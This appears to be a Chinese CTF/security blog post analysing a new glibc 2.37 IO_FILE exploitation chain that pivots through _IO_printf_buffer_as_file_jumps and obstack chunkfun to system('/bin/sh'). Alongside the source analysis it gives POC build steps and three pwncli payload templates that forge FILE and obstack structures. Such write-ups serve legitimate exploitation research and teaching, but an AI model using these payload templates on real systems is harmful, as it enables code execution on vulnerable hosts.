一条新的glibc IO_FILE利用链:__printf_buffer_as_file_overflow利用分析

渗透技巧 1年前 (2023) admin
338 0 0

前言

之前听说glibc2.37删除了_IO_obstack_jumps这个vtable。但是在源码里还看到obstack结构体存在,那么glibc2.37真的不能再调用_IO_obstack_jumps的那条链吗?看完本文就知道还可以调用_IO_obstack_jumps那条链的关键部分。但目前这条链只存在glibc2.37,所以现在可能还没有利用场景。在此结合源码和自己的理解和大家分享一下,也感谢roderick师傅和whiter师傅的指导与支持。如果有哪里不对恳请师傅们斧正!

简介

在此,我称这条链为house of snake,此利用链与house of applehouse of cathouse of emma等利用一样,利用了修改虚表指针的方法。主要思路就是伪造相关结构体并且修改虚表指针为_IO_printf_buffer_as_file_jumps实现攻击。

利用条件

1.能修改stdoutstdinstderr其中一个_IO_FILE_plus结构(fastbin attack或tcachebin attack)或劫持 _IO_list_all。(如large bin attacktcache stashing unlink attackfastbin reverse into tcache)

2.能够触发IO流,执行IO相关函数。

3.能够泄露堆地址和libc基址。

利用原理

前置知识

vtable 劫持的检测措施

在 2.24 版本的 glibc 以后,加入了针对 IO_FILE_plus 的 vtable 劫持的检测措施,glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。首先会验证 vtable 是否位于_IO_vtable 段中,如果满足条件就正常执行,否则会调用_IO_vtable_check 做进一步检查。


简单来说,如果 vtable 地址是非法的,那么会引发 abort

_IO_FILE结构体

源码如下:

struct _IO_FILE {      int _flags;    #define _IO_file_flags _flags     char* _IO_read_ptr;   /* Current read pointer */    char* _IO_read_end;   /* End of get area. */    char* _IO_read_base;  /* Start of putback+get area. */    char* _IO_write_base; /* Start of put area. */    char* _IO_write_ptr;  /* Current put pointer. */    char* _IO_write_end;  /* End of put area. */    char* _IO_buf_base;   /* Start of reserve area. */    char* _IO_buf_end;    /* End of reserve area. */    /* The following fields are used to support backing up and undo. */    char *_IO_save_base; /* Pointer to start of non-current get area. */    char *_IO_backup_base;  /* Pointer to first valid character of backup area */    char *_IO_save_end; /* Pointer to end of non-current get area. */     struct _IO_marker *_markers;     struct _IO_FILE *_chain;     int _fileno;#if 0    int _blksize;#else    int _flags2;#endif    _IO_off_t _old_offset;    /* This used to be _offset but it's too small.  */ #define __HAVE_COLUMN    /* temporary */    unsigned short _cur_column;    signed char _vtable_offset;    char _shortbuf[1];     /*  char* _save_gptr;  char* _save_egptr; */    _IO_lock_t *_lock;#ifdef _IO_USE_OLD_IO_FILE};

该结构体应该不难理解,不过多赘述。

_IO_jump_t结构体

struct _IO_jump_t{    JUMP_FIELD(size_t, __dummy);    JUMP_FIELD(size_t, __dummy2);    JUMP_FIELD(_IO_finish_t, __finish);    JUMP_FIELD(_IO_overflow_t, __overflow);    JUMP_FIELD(_IO_underflow_t, __underflow);    JUMP_FIELD(_IO_underflow_t, __uflow);    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);    /* showmany */    JUMP_FIELD(_IO_xsputn_t, __xsputn);    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);    JUMP_FIELD(_IO_seekoff_t, __seekoff);    JUMP_FIELD(_IO_seekpos_t, __seekpos);    JUMP_FIELD(_IO_setbuf_t, __setbuf);    JUMP_FIELD(_IO_sync_t, __sync);    JUMP_FIELD(_IO_doallocate_t, __doallocate);    JUMP_FIELD(_IO_read_t, __read);    JUMP_FIELD(_IO_write_t, __write);    JUMP_FIELD(_IO_seek_t, __seek);    JUMP_FIELD(_IO_close_t, __close);    JUMP_FIELD(_IO_stat_t, __stat);    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);    JUMP_FIELD(_IO_imbue_t, __imbue);#if 0    get_column;    set_column;#endif};

当我们对一个文件对象fp进行操作时,往往会使用到_IO_jump_t结构体内某一函数。

_IO_FILE_plus结构体

源码如下:

struct _IO_FILE_plus{  _IO_FILE file;  const struct _IO_jump_t *vtable;};

也就是在_IO_FILE追加了个指向_IO_jump_t结构体的指针。

__printf_buffer结构体

struct __printf_buffer{  char *write_base;  char *write_ptr;  char *write_end;  uint64_t written;  enum __printf_buffer_mode mode;};

了解存在这个结构体即可。

__printf_buffer_as_file结构体

struct __printf_buffer_as_file{  /* Interface to libio.  */  FILE stream;  const struct _IO_jump_t *vtable;   /* Pointer to the underlying buffer.  */  struct __printf_buffer *next;};

其中FILE就是_IO_FILE_plus,就是在_IO_FILE_plus结构体后追加了个指向__printf_buffer结构体的指针。这个结构体是关键结构体之一,因为本文提及的调用链离不开这个结构体。

 

简单总结一下,就是一个常见的_IO_FILE_plus后面追加了一个结构体指针,我们只要认识到这一点就行了。

obstack结构体

struct obstack          /* control current object in current chunk */{  long chunk_size;              /* preferred size to allocate chunks in */  struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */  char *object_base;            /* address of object we are building */  char *next_free;              /* where to add next char to current object */  char *chunk_limit;            /* address of char after current chunk */  union  {    PTR_INT_TYPE tempint;    void *tempptr;  } temp;                       /* Temporary for some macros.  */  int alignment_mask;           /* Mask of alignment for each object. */   struct _obstack_chunk *(*chunkfun) (void *, long);  void (*freefun) (void *, struct _obstack_chunk *);  void *extra_arg;              /* first arg for chunk alloc/dealloc funcs */  unsigned use_extra_arg : 1;     /* chunk alloc/dealloc funcs take extra arg */  unsigned maybe_empty_object : 1; /* There is a possibility that the current   unsigned alloc_failed : 1;      /* No longer used, as we now call the failed                     handler on error, but retained for binary                     compatibility.  */};

在此,我们只需要知道有这个结构体即可,不需要过多的探究每个成员的意义。

__printf_buffer_obstack结构体

struct __printf_buffer_obstack{  struct __printf_buffer base;  struct obstack *obstack;   char ch;};

就是在__printf_buffer结构体后追加了一个obstack结构体指针和一个char类型的变量,这个结构体也是关键结构体之一。

调用链分析

_IO_printf_buffer_as_file_jumps

由上可知,vtable必须合法,在glibc2.37中有一个新的vtable,源码如下:

static const struct _IO_jump_t _IO_printf_buffer_as_file_jumps libio_vtable ={  JUMP_INIT_DUMMY,  JUMP_INIT(finish, NULL),  JUMP_INIT(overflow, __printf_buffer_as_file_overflow),//函数一  JUMP_INIT(underflow, NULL),  JUMP_INIT(uflow, NULL),  JUMP_INIT(pbackfail, NULL),  JUMP_INIT(xsputn, __printf_buffer_as_file_xsputn),//函数二  JUMP_INIT(xsgetn, NULL),  JUMP_INIT(seekoff, NULL),  JUMP_INIT(seekpos, NULL),  JUMP_INIT(setbuf, NULL),  JUMP_INIT(sync, NULL),  JUMP_INIT(doallocate, NULL),  JUMP_INIT(read, NULL),  JUMP_INIT(write, NULL),  JUMP_INIT(seek, NULL),  JUMP_INIT(close, NULL),  JUMP_INIT(stat, NULL),  JUMP_INIT(showmanyc, NULL),  JUMP_INIT(imbue, NULL)};

可知,该vtable内只存在两个函数,分别为__printf_buffer_as_file_overflow__printf_buffer_as_file_xsputn


接下来我们先对__printf_buffer_as_file_overflow进行分析。

前言

笔者对该利用链分析只关注调用过程,要绕过的条件先按下不表,最后再总结!

__printf_buffer_as_file_overflow函数

源码如下:

static int__printf_buffer_as_file_overflow (FILE *fp, int ch){  struct __printf_buffer_as_file *file = (struct __printf_buffer_as_file *) fp;   __printf_buffer_as_file_commit (file);   /* EOF means only a flush is requested.   */  if (ch != EOF)    __printf_buffer_putc (file->next, ch);   /* Ensure that flushing actually produces room.  */  if (!__printf_buffer_has_failed (file->next)      && file->next->write_ptr == file->next->write_end)    __printf_buffer_flush (file->next);    [...]}

该函数首先堆传入的第一个参数强制类型转换为__printf_buffer_as_file并赋给变量file,然后调用__printf_buffer_as_file_commit函数,

__printf_buffer_as_file_commit函数

该函数源码如下:

static void__printf_buffer_as_file_commit (struct __printf_buffer_as_file *file){  /* Check that the write pointers in the file stream are consistent     with the next buffer.  */  assert (file->stream._IO_write_ptr >= file->next->write_ptr);  assert (file->stream._IO_write_ptr <= file->next->write_end);  assert (file->stream._IO_write_base == file->next->write_base);  assert (file->stream._IO_write_end == file->next->write_end);   file->next->write_ptr = file->stream._IO_write_ptr;}

可以看出该函数通过断言对file结构体中的stream结构体与next结构体中的成员进行一系列判断,然后做一个赋值的操作。

__printf_buffer_putc函数

可以看到若ch != EOF就调用__printf_buffer_putc,源码如下:

static inline void__printf_buffer_putc (struct __printf_buffer *buf, char ch){  if (buf->write_ptr != buf->write_end)      *buf->write_ptr++ = ch;  else    __printf_buffer_putc_1 (buf, ch);}

可知__printf_buffer_putc只是做了一些指针记录的数值加减的操作,对此我们不用过多关注。


然后有判断:if (!__printf_buffer_has_failed (file->next) && file->next->write_ptr == file->next->write_end)


就是判断__printf_buffer_as_file结构体中的mode成员是不是__printf_buffer_mode_failed以及file->next->write_ptr == file->next->write_end,我们假设满足这两个条件,会调用__printf_buffer_flush (file->next)

__printf_buffer_flush 函数

这个函数笔者无法直接在源码中找到,但是配合gdb,笔者还是发现了它的蛛丝马迹。

一条新的glibc IO_FILE利用链:__printf_buffer_as_file_overflow利用分析

评论区有师傅(id:我超啊)指出该函数其实是__printf_buffer_flush => Xprintf_buffer_flush=> Xprintf (buffer_do_flush) (buf) => __printf_buffer_do_flush这样的!事实确实如此。但是我们只需要关注__printf_buffer_do_flush,源码如下:

static void__printf_buffer_do_flush (struct __printf_buffer *buf){  switch (buf->mode)    {    case __printf_buffer_mode_failed:    case __printf_buffer_mode_sprintf:      return;    case __printf_buffer_mode_snprintf:      __printf_buffer_flush_snprintf ((struct __printf_buffer_snprintf *) buf);      return;    ......    case __printf_buffer_mode_fphex_to_wide:      __printf_buffer_flush_fphex_to_wide        ((struct __printf_buffer_fphex_to_wide *) buf);      return;    case __printf_buffer_mode_obstack:      __printf_buffer_flush_obstack ((struct __printf_buffer_obstack *) buf);      return;    }  __builtin_trap ();}

在这里我们关注进入__printf_buffer_flush_obstack函数的这一分支

__printf_buffer_flush_obstack函数
void__printf_buffer_flush_obstack (struct __printf_buffer_obstack *buf){  /* About to switch buffers, so record the bytes written so far.  */  buf->base.written += buf->base.write_ptr - buf->base.write_base;   if (buf->base.write_ptr == &buf->ch + 1)    {      /* Errors are reported via a callback mechanism (presumably for     process termination).  */      obstack_1grow (buf->obstack, buf->ch);      [...]    }}

假设满足所有条件进入obstack_1grow宏定义。

obstack_1grow宏定义
# define obstack_1grow(OBSTACK, datum)                            __extension__                                          ({ struct obstack *__o = (OBSTACK);                                 if (__o->next_free + 1 > __o->chunk_limit)                       _obstack_newchunk (__o, 1);                                 obstack_1grow_fast (__o, datum);                                 (void) 0; })

可以看到里面还有个宏定义,然后又_obstack_newchunk这一个函数。

_obstack_newchunk函数
void_obstack_newchunk (struct obstack *h, int length){  struct _obstack_chunk *old_chunk = h->chunk;  struct _obstack_chunk *new_chunk;  long new_size;  long obj_size = h->next_free - h->object_base;  long i;  long already;  char *object_base;   /* Compute size for new chunk.  */  new_size = (obj_size + length) + (obj_size >> 3) + h->alignment_mask + 100;  if (new_size < h->chunk_size)    new_size = h->chunk_size;   /* Allocate and initialize the new chunk.  */  new_chunk = CALL_CHUNKFUN (h, new_size);  [...]

假设满足所有条件,进入CALL_CHUNKFUN这个宏定义,该宏定义的源码如下:

# define CALL_CHUNKFUN(h, size)   (((h)->use_extra_arg)                                     ? (*(h)->chunkfun)((h)->extra_arg, (size))                         : (*(struct _obstack_chunk *(*)(long))(h)->chunkfun)((size)))

可以看到当(((h)->use_extra_arg)不为0时,会调用(*(h)->chunkfun),它的参数是(h)->extra_arg(size),而我们可以控制(*(h)->chunkfun)(h)->extra_arg,从而执行system('/bin/sh')


如果各位跟着本文分析到这,估计就豁然开朗了,因为后半部分与_IO_obstack_xsputn的调用链一样。

完成调用链必要的绕过条件

回顾一下整个分析过程并将所有相关结构体,并都看成__printf_buffer_as_file结构体,有以下条件:

  • __printf_buffer_as_file_overflow函数中:

    • file->next->mode!=__printf_buffer_mode_failed && file->next->write_ptr == file->next->write_end

  • __printf_buffer_as_file_commit函数中:

    • file->stream._IO_write_ptr >= file->next->write_ptr

    • file->stream._IO_write_ptr <= file->next->write_end

    • file->stream._IO_write_base == file->next->write_base

    • file->stream._IO_write_end == file->next->write_end

  • __printf_buffer_flush函数中:

  • file->next->mode =__printf_buffer_mode_obstack

  • __printf_buffer_flush_obstack函数中:

  • buf->base.write_ptr == &buf->ch + 1 <==> file->next.write_ptr == &(file->next) + 0x30 + 1

  • obstack_1grow宏定义中:

    • (struct __printf_buffer_obstack *) file->obstack->next_free + 1 > (struct __printf_buffer_obstack *) file->obstack->chunk_limit

    • (h)->use_extra_arg不为0 <==> (struct __printf_buffer_obstack *) file->obstack->use_extra_arg != 0

  • 注:

    • __printf_buffer_mode_obstack 就是0xb

利用思路

本文分析基于amd64下通过FSOP触发。


我们知道FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是exit函数调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow


我们调试可以知道_IO_overflow位于vtable指针所指向地址+0x18处,也就是说当FSOP发生的时候会调用_IO_FILE_plus.vtable 中的_IO_overflow。即调用vtable指针所指向地址 + 0x18处的数据。

一条新的glibc IO_FILE利用链:__printf_buffer_as_file_overflow利用分析

那么只要我们伪造一个_IO_FILE结构体,将它的vtable替换为&_IO_printf_buffer_as_file_jumps,此时vtable指针所指地址+0x18处为__printf_buffer_as_file_overflow,然后伪造上述所有需要满足的条件(详见poc与攻击模板),就可以完成攻击,如下:

一条新的glibc IO_FILE利用链:__printf_buffer_as_file_overflow利用分析

POC

  • 下载glibc2.37源码:

wget https://mirrors.nju.edu.cn/gnu/libc/glibc-2.37.tar.gz
  • 解压:

tar -zxvf glibc-2.37.tar.gz
  • 编译

mkdir buildcd build../configure --prefix=你想放置可执行文件的绝对路径sudo makesudo make install
  • 准备好POC

https://share.weiyun.com/TSaLBBPi
  • 编译POC

gcc POC.c -g -o POC
  • patchelf

patchelf --set-rpath 你存放编译后的文件路径/bin/lib ./POCpatchelf --set-interpreter  你存放编译后的文件路径/bin/lib/ld-linux-x86-64.so.2 ./POC
  • 运行

一条新的glibc IO_FILE利用链:__printf_buffer_as_file_overflow利用分析

攻击模板

以下攻击模板全是在FSOP下的,可以点击这里下载附件尝试以下三种攻击。

分别伪造__printf_buffer与obstack结构体

from pwncli import *fp = IO_FILE_plus_struct()fp.vtable = 0x1ced60 + lbfp._IO_write_ptr = leak_heap+0xe8 + 0x30 + 1    #0x28fp._IO_write_end = leak_heap+0xe8 + 0x30 + 1    #0x30fp._IO_write_base = 0x0                         #0x20  pd = flat(    {    0x0:bytes(fp),    #------fake __printf_buffer---    0xe0:leak_heap+0xe8,    0xe8:[    0,  #write_base 0    0,  #write_ptr  8    leak_heap+0xe8 + 0x30 + 1,   #write_end 0x10    leak_heap+0x110,   #written 0x18    p32(11),  #mode  0x20    ],    #----------------------------    #------fake obstack----------    0x110:leak_heap+0x110,    0x110+0x18:[    '/bin/shx00',    0    ],    0x110+0x38:libc.sym.system,    0x110+0x48:leak_heap+0x110+0x18,    0x110+0x50:[0xff]    #----------------------------    })

obstack结构体与FILE结构体内存复用

from pwncli import *fp = IO_FILE_plus_struct()fp.vtable = 0x1ced60 + lbfp._IO_write_ptr = leak_heap+0xe8 + 0x30 + 1    #0x28fp._IO_write_end = leak_heap+0xe8 + 0x30 + 1    #0x30fp._IO_write_base = 0x0                         #0x20  #fake a obsatckfp._IO_read_base = 0x68732f6e69622f             #0x18fp._IO_backup_base = 0xff                       #0x50fp._IO_buf_base = libc.sym.system               #0x38fp._IO_save_base = leak_heap+0x18               #0x48 pd = flat(    {    0x0:bytes(fp),    0xe0:leak_heap+0xe8,    0xe8:[    0,  #write_base 0    0,  #write_ptr  8    leak_heap+0xe8 + 0x30 + 1,   #write_end 0x10    leak_heap+0x110,   #written 0x18    p32(11),  #mode  0x20    ],    0x110:leak_heap, #fake a obstack    })

__printf_buffer结构、obstack结构体与FILE结构体内存复用

这个payload需要的内存是最小的,只需要0xe0字节大小的内存。

from pwncli import *fp = IO_FILE_plus_struct()fp.vtable = 0x1ced60 + lbfp._IO_write_ptr = fake_printf_buffer+ 0x30 + 1    #0x28fp._IO_write_end = fake_printf_buffer + 0x30 + 1    #0x30fp._IO_write_base = 0x0                         #0x20 #fake a obsatckfp._IO_backup_base = 0xff                       #0x50fp._IO_buf_base = libc.sym.system               #0x38fp._IO_save_base = fake_fp + 0xa0             #0x48fp._wide_data = 0x68732f6e69622f                #0xa0 #fake a __printf_bufferfp = payload_replace(bytes(fp),{    0x58:0,    0x60:0,    0x68:fake_printf_buffer + 0x30 + 1,    0x70:0,    0x78:11,    0x80:fake_fp})  pd = flat(    {    0x0:bytes(fp),    0xe0:fake_printf_buffer,    })

总结

该利用链看起来需要绕过的条件很多,但是并不复杂,并且可以稳定控制rdirip。但是ubuntu还没有使用glibc2.37,所以目前这条链新的还没有利用场景2333。但我相信以后说不定会有它的利用场景。

附录

struct __printf_buffer{  char *write_base;     0x0-0x8  char *write_ptr;        0x8-0x10  char *write_end;        0x10-0x18  uint64_t written;        0x18-0x20  enum __printf_buffer_mode mode; 0x20-0x24};
struct __printf_buffer_obstack{  struct __printf_buffer base;    0x0-0x24  struct obstack *obstack;        0x28-0x30   char ch;    0x30-0x31};

原文始发于微信公众号(Arr3stY0u):一条新的glibc IO_FILE利用链:__printf_buffer_as_file_overflow利用分析

版权声明:admin 发表于 2023年3月22日 上午9:45。
转载请注明:一条新的glibc IO_FILE利用链:__printf_buffer_as_file_overflow利用分析 | CTF导航

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